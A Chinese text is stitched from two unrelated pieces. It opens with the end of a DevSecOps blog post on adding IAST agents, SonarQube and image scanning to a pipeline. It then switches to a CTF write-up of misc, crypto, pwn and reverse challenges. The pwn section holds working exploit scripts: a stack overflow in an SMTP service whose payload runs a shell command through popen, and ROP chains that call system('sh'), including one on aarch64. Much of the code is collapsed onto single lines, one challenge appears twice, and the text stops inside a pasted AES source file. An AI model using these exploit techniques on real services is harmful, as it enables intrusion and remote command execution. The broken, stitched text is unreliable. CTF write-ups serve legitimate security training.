这几类产品实现了自动化可以继承到DevOps中。接下来我们将这些工具融入到开发测试阶段。
IAST的实现模式较多,常见的有代理模式、VPN、流量镜像、插桩模式,本文介绍最具代表性的2种模式,代理模式和插桩模式。一些调研过的产品如下图,具体测试结果就不公布了。

ej50igm34un14728.png

开发阶段

在对几类产品调研的时候发现IAST的插桩模式可以直接放到开发环境,开发环境和测试环境的代码区别主要还是在于application.yml配置文件,所以可以提前将该模式放到开发阶段。
开发写完代码提交到gitlab部署到开发环境启动应用的时候,开发需要验证一下功能是否可用,这个时候就可以检测出是否存在漏洞。
公司在测试环境使用rancher,把IAST的jar包放入到项目的gitlab,在部署的时候把代码拉到本地,通过修改Dockerfile文件把jar包添加到容器。

ADD shell/xxx.jar /home/app/xx/lib

由于公司项目基本统一使用spring-boot,所有的项目都通过一个start.sh脚本来启动应用,start.sh和Dockerfile一样需要添加到项目的gitlab,同时修改start.sh脚本文件即可。

-javaagent:$APP_HOME/lib/xx.jar  -jar $APP_HOME/app/*.jar --spring.profiles.active=dev >$APP_HOME/logs/startup.log 2>&1 &

测试项目如下,忽略错别字:

hdpmpmdsmdz14729.png

开发提交代码部署完之后,访问一下正常的功能即可在平台上看见是否存在漏洞。

2jcsuvwq10n14730.png

jdimfrfwrwl14731.png

zxjpcpdyo5214732.png
部分产品同时还会检测第三方组件包。

nsyynu4uyqu14733.png
公司使用harbor来对镜像进行当仓库镜像,项目部署完成之后会打包成一个镜像上传到harbor,harbor自带镜像扫描功能。

03xqpipbamf14735.png

测试阶段

开发完成之后进入到测试阶段。这个阶段我们进行静态代码扫描,功能测试,安全测试。

静态代码扫描

利用静态代码扫描工具对代码在编译之前进行扫描,并在静态代码层面上发现各种问题,其中包括安全问题。部分工具列表:
s0zk0xuwdv514736.png
静态代码扫描我们采用sonarQube集成,我们使用的是FindbugSecurity,精简规则,然后在持续构建过程中,进行静态代码bug,安全扫描。

anxa2jvwv2s14737.png

静态代码扫描的同时也可以扫描第三方依赖包,OWSAP的Dependency-Check就可以集成到持续构建过程中,由于IAST类产品支持该功能,不多做介绍。

功能测试

功能测试方面,公司测试部门实现了自动化测试平台,前期我们并未使用agent的方式检测,一开始使用开源的gourdscan加上openrasp,利用openrasp的默认开启不拦截模式和漏洞记录功能来检测服务端无返回的漏洞。
只需要在自动化平台上配置代理IP:


openrasp漏洞记录

w0zz4apefay14738.png

后来测试反馈扫描的脏数据太多,效果也并不是很好,就放弃了此方案。改用开发阶段的IAST的插桩方式,同样在测试环境也和开发环境一样利用agent来检测问题。功能测试完成之后。由于测试人员对漏洞并不是太理解,所以定的流程为测试人员到平台查看报告和安全人员沟通哪些问题需要修复,然后将问题写入到测试报告

安全测试

在测试阶段已经将安全加入到整个流程里面,所有需求更改完成都需要通过功能测试,也就是所有的流程过一遍安全测试,这样安全人手也不是很足,决定采用内外服务区分的办法来确定是否需要安全人员介入

by0poq1ke2w14739.png

漏洞管理

漏洞管理这一块制定了漏洞管理制度,根据影响程度对漏洞进行评级,严重漏洞必须改完之后才能上线,高中低危漏洞且影响较小需要排期,安全人员定期跟踪漏洞修复情况。

五、 监控

支付公司一般安全设备基本都有,这一块基本上将设备的syslog打到日志中心可视化,并定制对应的规则实现告警即可

六、结束语

个人知识和经验不足对sdl的体系并不是很熟悉,没什么经验,所以只能做到目前的程度。后续还有许多地方可以优化,增加流程等。如果有什么好的建议欢迎交流

来源: https://xz.aliyun.com/t/5656

一、misc

1.题目名称:CyberSpace

先选择最小的数使其相等,然后分成两部分依次加各部分最小的次数,不会写脚本只能手搓rikyroxyzbh15438.jpgb= [32 , 38, 27 , 33 , 53 , 30 , 35 , 32 ,32 , 31 , 44 , 31 , 40 , 46 , 25 , 50 , 41 , 44 , 55]
flag=''
for i in range(len(b)):
flag+=chr(b[i]+70)
print(flag)
#flag{different_xor}
crypto
strange_rsa1
将 n 也变成小数的形式, n/gift 就约等于 q**2,然后开方在附近搜索 q,之后解 RSA 即可

2.题目名称:ezdct-svd

开局一张图

1rrpwujiqmv15442.jpg

根据题目名ezdct-svd就可以知道是dct的频域隐写,然后hint.txt为

我们找到了用于嵌入水印的脚本文件hide.py中其中的三行(这三行并不挨着): watermark = cv2.imread('qrcode.bmp', cv2.IMREAD_GRAYSCALE).flatten() > 128 block_shape = (8, 8) Sigma[0] = (Sigma[0] // 30 + 0.5 * watermark[i] + 0.25) * 30

最后那句可以在invisible-watermark/dwtDctSvd.py at main · ShieldMnt/invisible-watermark (github.com)这找到相关源码,解量化的方法就是 int ((s[0] % scale) > scale * 0.5),思路就结束了,所以说图片先分块,然后用dct变换后再svd分解,取矩阵的最大特征值后解量化即可,据此写脚本得到

import matplotlib.pyplot as plt

import cv2

import numpy as np


def infer_dct_svd(frame):

    _block = 8

    res = []

    row, col = frame.shape

    for i in range(row//_block):

        for j in range(col//_block):

            block = np.float32(frame[i*_block : i*_block + _block,j*_block : j*_block + _block])

            _DCT = cv2.dct(block)

            u,s,v = np.linalg.svd(_DCT)

            # print(s[0])

            score = int ((s[0] % 30) > 30 * 0.5)

            res.append(score)

    

    return np.array(res)*255


wm_length = 64*64

pic = cv2.imread('embedded.bmp')

count = 0

R = pic[:,:,2]

r = infer_dct_svd(R)[:64*64].reshape(64,64)

plt.imshow(r)

plt.show()

其实这边有三个图层,但是一般都是先从r图层开始,这里可以很清楚的看见最上面有一长串的黑值,且长度为7,找到下一处长度为7的黑条,数了下长度为37,而37*37也正是二维码的尺寸,修改size即可得到flag二维码

import matplotlib.pyplot as plt

import cv2

import numpy as np


def infer_dct_svd(frame):

    _block = 8

    res = []

    row, col = frame.shape

    for i in range(row//_block):

        for j in range(col//_block):

            block = np.float32(frame[i*_block : i*_block + _block,j*_block : j*_block + _block])

            _DCT = cv2.dct(block)

            u,s,v = np.linalg.svd(_DCT)

            # print(s[0])

            score = int ((s[0] % 30) > 30 * 0.5)

            res.append(score)

    

    return np.array(res)*255


wm_length = 64*64

pic = cv2.imread('embedded.bmp')

count = 0

R = pic[:,:,2]

r = infer_dct_svd(R)[:37*37].reshape(37,37)

plt.imshow(r)

plt.show()


4xqhdt53o1y15448.png

flag{4a8a4732-df32-415d-9945-d5ce0a16a0d1}

二、crypto

1.题目名称:strange_rsa1

将 n 也变成小数的形式, n/gift 就约等于 q**2,然后开方在附近搜索 q,之后解 RSA 即可n =108525167048069618588175976867846563247592681279699764935868571805537995466244621039138584734968186962015154069834228913223982840558626369903697856981515674800664445719963249384904839446749699482532818680540192673814671582032905573381188420997231842144989027400106624744146739238687818312012920530048166672413c =23970397560482326418544500895982564794681055333385186829686707802322923345863102521635786012870368948010933275558746273559080917607938457905967618777124428711098087525967347923209347190956512520350806766416108324895660243364661936801627882577951784569589707943966009295758316967368650512558923594173887431924gift =0.9878713210057139023298389025767652308503013961919282440169053652488565206963320721234736480911437918373201299590078678742136736290349578719187645145615363088975706222696090029443619975380433122746296316430693294386663490221891787292112964989501856435389725149610724585156154688515007983846599924478524442938from Crypto.Util.number import *n=RealField(prec=512*2)(n)p1=n/giftprint(int(p1))from gmpy2 import *p=iroot(int(p1),2)[0]print(p)p=10481297369477678688647473426264404751672609241332968992310058598922120259940804922095197051670288498112926299671514217457279033970326518832408003060034368import sympyfrom Crypto.Util.number import *import gmpy2floating_rng=500000for i in range(p-floating_rng, p+floating_rng):q = divmod(n,i)if q[1]==0:print("p 等于: ",i)p=10481297369477678688647473426264404751672609241332968992310058598922120259940804922095197051670288498112926299671514217457279033970326518832408003060034369q=n//pd=invert(65537,(p-1)*(q-1))m=pow(c,d,n)print(long_to_bytes(m))#flag{a5537b232c1ab750e0db61ec352504a301b7b212}

三、pwn

1.题目名称:smtp

协议逆向,可知 sender_worker 有栈溢出#!/usr/bin/env python3from re import searchfrom pwncli import *cli_script()io = gift["io"]elf = gift["elf"]libc = gift.libcfilename = gift.filename # current filenameis_debug = gift.debug # is debug or notis_remote = gift.remote # is remote or notgdb_pid = gift.gdb_pid # gdb pid if debugif gift.remote:libc = ELF("./libc-2.31.so")gift["libc"] = libcp = remote('127.0.0.1',9999)p.sendafter('220 SMTP tsmtp\n','HELOfxxk')p.sendafter('250 Ok\n',"MAIL FROM:cat flag >&5\x00")p.sendafter("250 Ok\n",b"RCPT TO:" + flat({0x100:[0x804d1d0,'a'*0xc,elf.plt.popen,'dead',0x804d140,elf.search(b'r\x00').__next__()]},length=0x200))p.sendafter('250 Ok\n','DATA')p.sendafter(".<CR><LF>\n",b".\r\n" + b"fxxk")p.interactive()p.close()

2.题目名称:note

菜单的逻辑,但是是栈溢出。 利用 magic_gadget:add [rbp-3Dh],ebx 即可。
#!/usr/bin/env python3from pwncli import *cli_script()io:tube = gift["io"]elf:ELF = gift["elf"]libc:ELF = gift.libcfilename = gift.filename # current filenameis_debug = gift.debug # is debug or notis_remote = gift.remote # is remote or notgdb_pid = gift.gdb_pid # gdb pid if debugcontext.arch = 'amd64‘if gift.remote:libc = ELF("./libc-2.31.so")gift["libc"] = libcdef cmd(idx):sla('leave',str(idx))#0 ~ 0x1ffdef add(size,cont):cmd(1)sla('Size:',str(size))sla('Content:',str(cont))def show(idx):cmd(2)sla('Index:',str(idx))def edit(idx,cont):cmd(3)sla('Index:',str(idx))sa('Content:',(cont))def free(idx):cmd(4)sla('Index:',str(idx))gdb.attach(io,'b *0x401579')sleep(1)CurrentGadgets.set_find_area(1,0)edit(-4,flat({8:[CurrentGadgets.write_by_magic(elf.bss(0x100),0,u32_ex('sh')),CurrentGadgets.write_by_magic(elf.got.puts,libc.sym.puts,libc.sym.system),CurrentGadgets.pop_rdi_ret(),elf.bss(0x100),CurrentGadgets.ret(),elf.plt.puts]}))io.interactive()

3.题目名称:捉迷藏

简单的利用一下 angr 就行
import angrimport sysproj = angr.Project("pwn", auto_load_libs=False)state = proj.factory.blank_state(addr=0x4076BD)simu = proj.factory.simgr(state)simu.explore(find=0x4079C6, avoid=0x407A43)if simu.found:print("find!")solution = simu.found[0]key = solution.posix.dumps(sys.stdin.fileno())print(key)#get :'<\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'#!/usr/bin/env python3from pwncli import *cli_script()io = gift["io"]elf = gift["elf"]libc = gift.libc
filename = gift.filename # current filenameis_debug = gift.debug # is debug or notis_remote = gift.remote # is remote or notgdb_pid = gift.gdb_pid # gdb pid if debugsa('sbAmJLMLWm:',"a "*8)sa('HuEqdjYtuWo:','a'*0x33)#sa('tfAxpqDQuTCyJw:','a'*8)sa('hbsoMdIRWpYRqvfClb:','a'*0x35)sa('tfAxpqDQuTCyJw:','a'*0x22)sa('UTxqmFvmLy:','a '*3 + '9254 ' + '0 ' + 'a '*3)sa('LLQPyLAOGJbnm:','<\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00')sa('gRGKqIlcuj:',flat({0xf + 8:[0x401334]},length=0x37))io.interactive()

4.题目名称:ret2libc_aarch64

正如题目字面意思, ret2libc,不过是 aarch64
#!/usr/bin/env python3from pwncli import *cli_script()io: tube = gift.ioelf: ELF = gift.elflibc: ELF = gift.libcdef leak(addr: int):sla(">", "1")sa("sensible>>\n", p64_ex(addr))return rl()def pwn(data):sla(">", "2")sla("sensible>>\n", data)msg = leak(elf.got.read)read_addr = (0x4000 << 24) + u64_ex(msg[:-1])log_address("read_addr", read_addr)lb = read_addr - 0x00000000000c3b40# 0x00128e80 binsh# 0x0000000000063e5c: ldr x0, [sp, #0x18]; ldp x29, x30, [sp], #0x20; ret;# 0000000000040578 systemlog_address("target gadget", lb + 0x63e5c)data = flat({136: [lb + 0x63e5c,[lb + 0x000000000040578] * 5,lb + 0x00128e80,[lb + 0x000000000040578] * 5]})pwn(data)ia()

三、reverse

1.题目名称:small

以二进制文件形式,在 ida 中打开10wd3miklhi15451.jpg在适当的地址处,按 c 转成汇编代码,分析出是 TEA 加密, delta 和密钥均已知aifc4usj2ah15455.jpg在字符串”good”后找到密文ig4gzn3dj1u15458.jpg解密 TEA 即可得到 flag#include <stdio.h>#include <stdint.h>//加密函数void encrypt(unsigned int num_rounds, uint32_t* v, uint32_t* k) {uint32_t v0 = v[0], v1 = v[1], sum = 0, i;uint32_t delta = 0x67452301;uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];for (i = 0; i < num_rounds; i++) {sum += delta;v0 += ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);v1 += ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);}v[0] = v0; v[1] = v1;}//解密函数void decrypt(unsigned int num_rounds, uint32_t* v, uint32_t* k) {uint32_t v0 = v[0], v1 = v[1], i;uint32_t delta = 0x67452301,sum = delta*num_rounds;uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];for (i = 0; i<num_rounds; i++) {v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);sum -= delta;}v[0] = v0; v[1] = v1;}//打印数据 hex_or_chr: 1-hex 0-chrvoid dump_data(uint32_t * v,int n,bool hex_or_chr){if(hex_or_chr){for(int i=0;i<n;i++){printf("0x%x,",v[i]);}}else{for (int i = 0; i < n; i++){for (int j = 0; j < sizeof(uint32_t)/sizeof(uint8_t); j++){printf("%c", (v[i] >> (j * 8)) & 0xFF);}}}printf("\n");return;}int main(){// v 为要加解密的数据uint32_t v[] ={ 0xde087143,0xc4f91bd2,0xdaf6dadc,0x6d9ed54c,0x75eb4ee7,0x5d1ddc04,0x511b0fd9,0x51dc88fb };// k 为加解密密钥, 4 个 32 位无符号整数,密钥长度为 128 位uint32_t k[4] = { 0x01,0x23,0x45,0x67 };// num_rounds,建议取值为 32unsigned int r = 35;int n = sizeof(v) / sizeof(uint32_t);/*printf("加密前明文数据: ");dump_data(v,n,1);for(int i=0;i<n/2;i++){encrypt(r,&v[i*2], k);}printf("加密后密文数据: ");dump_data(v,n,1);*/for(int i=0;i<n/2;i++){decrypt(r,&v[i*2], k);}printf("解密后明文数据: ");dump_data(v,n,1);printf("解密后明文字符: ");dump_data(v,n,0);return 0;}// flag{327a6c4304ad5938eaf0efb6cc3e53dc}

2.题目名称:static

aes.c:
#include <ctype.h>#include <stdint.h>#include <stdio.h>#include <stdlib.h>#include <string.h>
void hexdump(void *pdata, int size) {  const uint8_t *p = (const uint8_t *)pdata;  int count = size / 16;  int rem = size % 16;
  for (int r = 0; r <= count; r++) {    int k = (r == count) ? rem : 16;    if (r)      printf("\n");    for (int i = 0; i < 16; i++) {      if (i < k)        printf("%02X ", p[i]);      else        printf("   ");    }    printf(" ");    for (int i = 0; i < k; i++) {      printf("%c", isprint(p[i]) ? p[i] : '.');    }    p += 0x10;  }  printf("\n");}
/*
This is an implementation of the AES algorithm, specifically ECB, CTR and CBCmode. Block size can be chosen in aes.h - available choices are AES128, AES192,AES256.
The implementation is verified against the test vectors in:  National Institute of Standards and Technology Special Publication 800-38A2001 ED
ECB-AES128----------
  plain-text:    6bc1bee22e409f96e93d7e117393172a    ae2d8a571e03ac9c9eb76fac45af8e51    30c81c46a35ce411e5fbc1191a0a52ef    f69f2445df4f9b17ad2b417be66c3710
  key:    2b7e151628aed2a6abf7158809cf4f3c
  resulting cipher    3ad77bb40d7a3660a89ecaf32466ef97    f5d3d58503b9699de785895a96fdbaaf    43b1cd7f598ece23881b00e3ed030688    7b0c785e27e8ad3f8223207104725dd4

NOTE:   String length must be evenly divisible by 16byte (str_len % 16 == 0)        You should pad the end of the string with zeros if this is not the case.        For AES192/256 the key size is proportionally larger.
*/
/*****************************************************************************//* Includes:                                                                 *//*****************************************************************************/#include "aes.h"#include <string.h> // CBC mode, for memset
/*****************************************************************************//* Defines:                                                                  *//*****************************************************************************/// The number of columns comprising a state in AES. This is a constant in AES.// Value=4#define Nb 4
#if defined(AES256) && (AES256 == 1)#define Nk 8#define Nr 14#elif defined(AES192) && (AES192 == 1)#define Nk 6#define Nr 12#else#define Nk 4  // The number of 32 bit words in a key.#define Nr 10 // The number of rounds in AES Cipher.#endif
// jcallan@github points out that declaring Multiply as a function// reduces code size considerably with the Keil ARM compiler.// See this link for more information:// https://github.com/kokke/tiny-AES-C/pull/3#ifndef MULTIPLY_AS_A_FUNCTION#define MULTIPLY_AS_A_FUNCTION 0#endif
/*****************************************************************************//* Private variables:                                                        *//*****************************************************************************/// state - array holding the intermediate results during decryption.typedef uint8_t state_t[4][4];
// The lookup-tables are marked const so they can be placed in read-only storage// instead of RAM The numbers below can be computed dynamically trading ROM for// RAM - This can be useful in (embedded) bootloader applications, where ROM is// often limited.static const uint8_t sbox[256] = {    // 0     1    2      3     4    5     6     7      8    9     A      B    C    // D     E     F    0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5, 0x30, 0x01, 0x67, 0x2b,    0xfe, 0xd7, 0xab, 0x76, 0xca, 0x82, 0xc9, 0x7d, 0xfa, 0x59, 0x47, 0xf0,    0xad, 0xd4, 0xa2, 0xaf, 0x9c, 0xa4, 0x72, 0xc0, 0xb7, 0xfd, 0x93, 0x26,    0x36, 0x3f, 0xf7, 0xcc, 0x34, 0xa5, 0xe5, 0xf1, 0x71, 0xd8, 0x31, 0x15,    0x04, 0xc7, 0x23, 0xc3, 0x18, 0x96, 0x05, 0x9a, 0x07, 0x12, 0x80, 0xe2,    0xeb, 0x27, 0xb2, 0x75, 0x09, 0x83, 0x2c, 0x1a, 0x1b, 0x6e, 0x5a, 0xa0,    0x52, 0x3b, 0xd6, 0xb3, 0x29, 0xe3, 0x2f, 0x84, 0x53, 0xd1, 0x00, 0xed,    0x20, 0xfc, 0xb1, 0x5b, 0x6a, 0xcb, 0xbe, 0x39, 0x4a, 0x4c, 0x58, 0xcf,    0xd0, 0xef, 0xaa, 0xfb, 0x43, 0x4d, 0x33, 0x85, 0x45, 0xf9, 0x02, 0x7f,    0x50, 0x3c, 0x9f, 0xa8, 0x51, 0xa3, 0x40, 0x8f, 0x92, 0x9d, 0x38, 0xf5,    0xbc, 0xb6, 0xda, 0x21, 0x10, 0xff, 0xf3, 0xd2, 0xcd, 0x0c, 0x13, 0xec,    0x5f, 0x97, 0x44, 0x17, 0xc4, 0xa7, 0x7e, 0x3d, 0x64, 0x5d, 0x19, 0x73,    0x60, 0x81, 0x4f, 0xdc, 0x22, 0x2a, 0x90, 0x88, 0x46, 0xee, 0xb8, 0x14,    0xde, 0x5e, 0x0b, 0xdb, 0xe0, 0x32, 0x3a, 0x0a, 0x49, 0x06, 0x24, 0x5c,    0xc2, 0xd3, 0xac, 0x62, 0x91, 0x95, 0xe4, 0x79, 0xe7, 0xc8, 0x37, 0x6d,    0x8d, 0xd5, 0x4e, 0xa9, 0x6c, 0x56, 0xf4, 0xea, 0x65, 0x7a, 0xae, 0x08,    0xba, 0x78, 0x25, 0x2e, 0x1c, 0xa6, 0xb4, 0xc6, 0xe8, 0xdd, 0x74, 0x1f,    0x4b, 0xbd, 0x8b, 0x8a, 0x70, 0x3e, 0xb5, 0x66, 0x48, 0x03, 0xf6, 0x0e,    0x61, 0x35, 0x57, 0xb9, 0x86, 0xc1, 0x1d, 0x9e, 0xe1, 0xf8, 0x98, 0x11,    0x69, 0xd9, 0x8e, 0x94, 0x9b, 0x1e, 0x87, 0xe9, 0xce, 0x55, 0x28, 0xdf,    0x8c, 0xa1, 0x89, 0x0d, 0xbf, 0xe6, 0x42, 0x68, 0x41, 0x99, 0x2d, 0x0f,    0xb0, 0x54, 0xbb, 0x16};
#if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)static const uint8_t rsbox[256] = {    0x52, 0x09, 0x6a, 0xd5, 0x30, 0x36, 0xa5, 0x38, 0xbf, 0x40, 0xa3, 0x9e,    0x81, 0xf3, 0xd7, 0xfb, 0x7c, 0xe3, 0x39, 0x82, 0x9b, 0x2f, 0xff, 0x87,    0x34, 0x8e, 0x43, 0x44, 0xc4, 0xde, 0xe9, 0xcb, 0x54, 0x7b, 0x94, 0x32,    0xa6, 0xc2, 0x23, 0x3d, 0xee, 0x4c, 0x95, 0x0b, 0x42, 0xfa, 0xc3, 0x4e,    0x08, 0x2e, 0xa1, 0x66, 0x28, 0xd9, 0x24, 0xb2, 0x76, 0x5b, 0xa2, 0x49,    0x6d, 0x8b, 0xd1, 0x25, 0x72, 0xf8, 0xf6, 0x64, 0x86, 0x68, 0x98, 0x16,    0xd4, 0xa4, 0x5c, 0xcc, 0x5d, 0x65, 0xb6, 0x92, 0x6c, 0x70, 0x48, 0x50,    0xfd, 0xed, 0xb9, 0xda, 0x5e, 0x15, 0x46, 0x57, 0xa7, 0x8d, 0x9d, 0x84,    0x90, 0xd8, 0xab, 0x00, 0x8c, 0xbc, 0xd3, 0x0a, 0xf7, 0xe4, 0x58, 0x05,    0xb8, 0xb3, 0x45, 0x06, 0xd0, 0x2c, 0x1e, 0x8f, 0xca, 0x3f, 0x0f, 0x02,    0xc1, 0xaf, 0xbd, 0x03, 0x01, 0x13, 0x8a, 0x6b, 0x3a, 0x91, 0x11, 0x41,    0x4f, 0x67, 0xdc, 0xea, 0x97, 0xf2, 0xcf, 0xce, 0xf0, 0xb4, 0xe6, 0x73,    0x96, 0xac, 0x74, 0x22, 0xe7, 0xad, 0x35, 0x85, 0xe2, 0xf9, 0x37, 0xe8,    0x1c, 0x75, 0xdf, 0x6e, 0x47, 0xf1, 0x1a, 0x71, 0x1d, 0x29, 0xc5, 0x89,    0x6f, 0xb7, 0x62, 0x0e, 0xaa, 0x18, 0xbe, 0x1b, 0xfc, 0x56, 0x3e, 0x4b,    0xc6, 0xd2, 0x79, 0x20, 0x9a, 0xdb, 0xc0, 0xfe, 0x78, 0xcd, 0x5a, 0xf4,    0x1f, 0xdd, 0xa8, 0x33, 0x88, 0x07, 0xc7, 0x31, 0xb1, 0x12, 0x10, 0x59,    0x27, 0x80, 0xec, 0x5f, 0x60, 0x51, 0x7f, 0xa9, 0x19, 0xb5, 0x4a, 0x0d,    0x2d, 0xe5, 0x7a, 0x9f, 0x93, 0xc9, 0x9c, 0xef, 0xa0, 0xe0, 0x3b, 0x4d,    0xae, 0x2a, 0xf5, 0xb0, 0xc8, 0xeb, 0xbb, 0x3c, 0x83, 0x53, 0x99, 0x61,    0x17, 0x2b, 0x04, 0x7e, 0xba, 0x77, 0xd6, 0x26, 0xe1, 0x69, 0x14, 0x63,    0x55, 0x21, 0x0c, 0x7d};#endif
// The round constant word array, Rcon[i], contains the values given by// x to the power (i-1) being powers of x (x is denoted as {02}) in the field// GF(2^8)static const uint8_t Rcon[11] = {0x8d, 0x01, 0x02, 0x04, 0x08, 0x10,                                 0x20, 0x40, 0x80, 0x1b, 0x36};
/* * Jordan Goulder points out in PR #12 * (https://github.com/kokke/tiny-AES-C/pull/12), that you can remove most of * the elements in the Rcon array, because they are unused. * * From Wikipedia's article on the Rijndael key schedule @ * https://en.wikipedia.org/wiki/Rijndael_key_schedule#Rcon * * "Only the first some of these constants are actually used – up to rcon[10] * for AES-128 (as 11 round keys are needed), up to rcon[8] for AES-192, up to * rcon[7] for AES-256. rcon[0] is not used in AES algorithm." */
/*****************************************************************************//* Private functions:                                                        *//*****************************************************************************//*static uint8_t getSBoxValue(uint8_t num){  return sbox[num];}*/#define getSBoxValue(num) (sbox[(num)])
// This function produces Nb(Nr+1) round keys. The round keys are used in each// round to decrypt the states.static void KeyExpansion(uint8_t *RoundKey, const uint8_t *Key) {  unsigned i, j, k;  uint8_t tempa[4]; // Used for the column/row operations
  // The first round key is the key itself.  for (i = 0; i < Nk; ++i) {    RoundKey[(i * 4) + 0] = Key[(i * 4) + 0];    RoundKey[(i * 4) + 1] = Key[(i * 4) + 1];    RoundKey[(i * 4) + 2] = Key[(i * 4) + 2];    RoundKey[(i * 4) + 3] = Key[(i * 4) + 3];  }
  // All other round keys are found from the previous round keys.  for (i = Nk; i < Nb * (Nr + 1); ++i) {    {      k = (i - 1) * 4;      tempa[0] = RoundKey[k + 0];      tempa[1] = RoundKey[k + 1];      tempa[2] = RoundKey[k + 2];      tempa[3] = RoundKey[k + 3];    }
    if (i % Nk == 0) {      // This function shifts the 4 bytes in a word to the left once.      // [a0,a1,a2,a3] becomes [a1,a2,a3,a0]
      // Function RotWord()      {        const uint8_t u8tmp = tempa[0];        tempa[0] = tempa[1];        tempa[1] = tempa[2];        tempa[2] = tempa[3];        tempa[3] = u8tmp;      }
      // SubWord() is a function that takes a four-byte input word and      // applies the S-box to each of the four bytes to produce an output word.
      // Function Subword()      {        tempa[0] = getSBoxValue(tempa[0]);        tempa[1] = getSBoxValue(tempa[1]);        tempa[2] = getSBoxValue(tempa[2]);        tempa[3] = getSBoxValue(tempa[3]);      }
      tempa[0] = tempa[0] ^ Rcon[i / Nk];    }#if defined(AES256) && (AES256 == 1)    if (i % Nk == 4) {      // Function Subword()      {        tempa[0] = getSBoxValue(tempa[0]);        tempa[1] = getSBoxValue(tempa[1]);        tempa[2] = getSBoxValue(tempa[2]);        tempa[3] = getSBoxValue(tempa[3]);      }    }#endif    j = i * 4;    k = (i - Nk) * 4;    RoundKey[j + 0] = RoundKey[k + 0] ^ tempa[0];    RoundKey[j + 1] = RoundKey[k + 1] ^ tempa[1];    RoundKey[j + 2] = RoundKey[k + 2] ^ tempa[2];    RoundKey[j + 3] = RoundKey[k + 3] ^ tempa[3];  }}
void AES_init_ctx(struct AES_ctx *ctx, const uint8_t *key) {  KeyExpansion(ctx->RoundKey, key);}#if (defined(CBC) && (CBC == 1)) || (defined(CTR) && (CTR == 1))void AES_init_ctx_iv(struct AES_ctx *ctx, const uint8_t *key,                     const uint8_t *iv) {  KeyExpansion(ctx->RoundKey, key);  memcpy(ctx->Iv, iv, AES_BLOCKLEN);}void AES_ctx_set_iv(struct AES_ctx *ctx, const uint8_t *iv) {  memcpy(ctx->Iv, iv, AES_BLOCKLEN);}#endif
// This function adds the round key to state.// The round key is added to the state by an XOR function.static void AddRoundKey(uint8_t round, state_t *state,                        const uint8_t *RoundKey) {  uint8_t i, j;  for (i = 0; i < 4; ++i) {    for (j = 0; j < 4; ++j) {      (*state)[i][j] ^= RoundKey[(round * Nb * 4) + (i * Nb) + j];    }  }}
// The SubBytes Function Substitutes the values in the// state matrix with values in an S-box.static void SubBytes(state_t *state) {  uint8_t i, j;  for (i = 0; i < 4; ++i) {    for (j = 0; j < 4; ++j) {      (*state)[j][i] = getSBoxValue((*state)[j][i]);    }  }}
// The ShiftRows() function shifts the rows in the state to the left.// Each row is shifted with different offset.// Offset = Row number. So the first row is not shifted.static void ShiftRows(state_t *state) {  uint8_t temp;
  // Rotate first row 1 columns to left  temp = (*state)[0][1];  (*state)[0][1] = (*state)[1][1];  (*state)[1][1] = (*state)[2][1];  (*state)[2][1] = (*state)[3][1];  (*state)[3][1] = temp;
  // Rotate second row 2 columns to left  temp = (*state)[0][2];  (*state)[0][2] = (*state)[2][2];  (*state)[2][2] = temp;
  temp = (*state)[1][2];  (*state)[1][2] = (*state)[3][2];  (*state)[3][2] = temp;
  // Rotate third row 3 columns to left  temp = (*state)[0][3];  (*state)[0][3] = (*state)[3][3];  (*state)[3][3] = (*state)[2][3];  (*state)[2][3] = (*state)[1][3];  (*state)[1][3] = temp;}
static uint8_t xtime(uint8_t x) { return ((x << 1) ^ (((x >> 7) & 1) * 0x1b)); }
// MixColumns function mixes the columns of the state matrixstatic void MixColumns(state_t *state) {  uint8_t i;  uint8_t Tmp, Tm, t;  for (i = 0; i < 4; ++i) {    t = (*state)[i][0];    Tmp = (*state)[i][0] ^ (*state)[i][1] ^ (*state)[i][2] ^ (*state)[i][3];    Tm = (*state)[i][0] ^ (*state)[i][1];    Tm = xtime(Tm);    (*state)[i][0] ^= Tm ^ Tmp;
    Tm = (*state)[i][1] ^ (*state)[i][2];    Tm = xtime(Tm);    (*state)[i][1] ^= Tm ^ Tmp;
    Tm = (*state)[i][2] ^ (*state)[i][3];    Tm = xtime(Tm);    (*state)[i][2] ^= Tm ^ Tmp;
    Tm = (*state)[i][3] ^ t;    Tm = xtime(Tm);    (*state)[i][3] ^= Tm ^ Tmp;  }}
// Multiply is used to multiply numbers in the field GF(2^8)// Note: The last call to xtime() is unneeded, but often ends up generating a// smaller binary//       The compiler seems to be able to vectorize the operation better this//       way. See https://github.com/kokke/tiny-AES-c/pull/34#if MULTIPLY_AS_A_FUNCTIONstatic uint8_t Multiply(uint8_t x, uint8_t y) {  return (((y & 1) * x) ^ ((y >> 1 & 1) * xtime(x)) ^          ((y >> 2 & 1) * xtime(xtime(x))) ^          ((y >> 3 & 1) * xtime(xtime(xtime(x)))) ^          ((y >> 4 & 1) *           xtime(xtime(xtime(               xtime(x)))))); /* this last call to xtime() can be omitted */}#else#define Multiply(x, y)                                                         \  (((y & 1) * x) ^ ((y >> 1 & 1) * xtime(x)) ^                                 \   ((y >> 2 & 1) * xtime(xtime(x))) ^                                          \   ((y >> 3 & 1) * xtime(xtime(xtime(x)))) ^                                   \   ((y >> 4 & 1) * xtime(xtime(xtime(xtime(x))))))
#endif
#if (defined(CBC) && CBC == 1) || (defined(ECB) && ECB == 1)/*static uint8_t getSBoxInvert(uint8_t num){  return rsbox[num];}*/#define getSBoxInvert(num) (rsbox[(num)])
